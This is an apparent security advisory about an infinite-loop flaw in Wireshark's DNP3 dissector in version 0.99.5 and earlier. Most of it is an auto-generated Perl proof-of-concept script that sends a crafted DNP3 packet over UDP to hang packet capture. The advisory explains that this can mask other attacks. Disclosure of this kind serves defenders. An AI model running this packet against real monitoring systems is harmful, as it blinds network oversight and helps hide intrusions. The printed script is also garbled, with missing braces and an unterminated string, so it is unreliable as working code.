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  Wireshark DNP3 Dissector Infinite Loop Vulnerability
------------------------------------------------------------------------


SUMMARY

A vulnerability in Wireshark's DNP3 dissector allows attackers to cause it 
to enter an infinite loop which in turn can be used to mask other types of 
attacks from being captured by Wireshark.

DETAILS

Vulnerable Systems:
 * Wireshark version 0.99.5 and prior

Immune Systems:
 * Wireshark version 0.99.6 and newer

A vulnerability in the way Wireshark handles DNP3 data allows an attacker 
to fool the dissector into thinking a negative value of items has been 
provided to it as part of the Application Layer's request to read/write 
objects. This in turn causes the loop found in the code:
for (temp16 = 0; temp16 < num_items; temp16++)
 

To enter into an infinite loop as the temp16 parameter is defined as an 
unsigned int of a length of 16 bits while the num_items is defined as an 
unsigned int of a length of 32 bits - which in turn means than a negative 
value will be casted into a larger than 16 bits value - as the temp16 will 
not be able to reach the value stored in the num_items parameter.

Proof of Concept:
The vulnerability can be recreated by either using  
<http://www.beyondsecurity.com/bestorm_overview.html> beSTORM with the 
DNP3 protocol fuzzer and monitoring the traffic generated with Wireshark 
or by launching the following exploit code:
#!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
#  DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = \&abort;

my $host  = '192.168.4.52';
my $port  = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
 

$host    = $opt{H} ? $opt{H} : $host;
$port    = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
 Data => 
"\xC3\xC0\x01\x01\x00\x01\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08},
{Command => 'Receive'},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
                PeerAddr => $host,
    PeerPort => $port,
    Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            )
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
 
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: 
$!\n";
    }
 

#3. Close connection
close ($sock);

#The end

sub receive
 
 my $sock = shift;
 my $timeout = shift;

 my $tmpbuf;
 my $buf = "";

 while(1)
 { # Example from perldoc -f alarm
  eval {
    local $SIG{ALRM} = sub { die "timeout\n" };
    alarm $timeout;

    my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
    if ( !defined $ret or $ret == 0 )
    { #EOF
        die "timeout\n";
    }

    alarm 0;
    $buf .= $tmpbuf;
  };
  if ($@) { #time out
    if($@ eq "timeout\n")
    {
        last;
    }
    else {
        die "receive aborted\n";
    }
  }
 } #while
 return $buf;
 

sub abort
 
    print "aborting...\n";
    if ($sock)
    {
        close $sock;
    }
    die "User aborted operation\n";
 
sub usage
 
 print "usage: $0 [-hHPt]\n";
 print "-h\t: this help message\n";
 print "-H\t: override default host - $host\n";
 print "-P\t: override default port - $port\n";
 print "-t\t: set socket timeout in seconds\n";
 exit 0;
 


ADDITIONAL INFORMATION

The information has been provided by beSTORM.
The original article can be found at:  
<http://www.beyondsecurity.com/bestorm_overview.html> 
http://www.beyondsecurity.com/bestorm_overview.html



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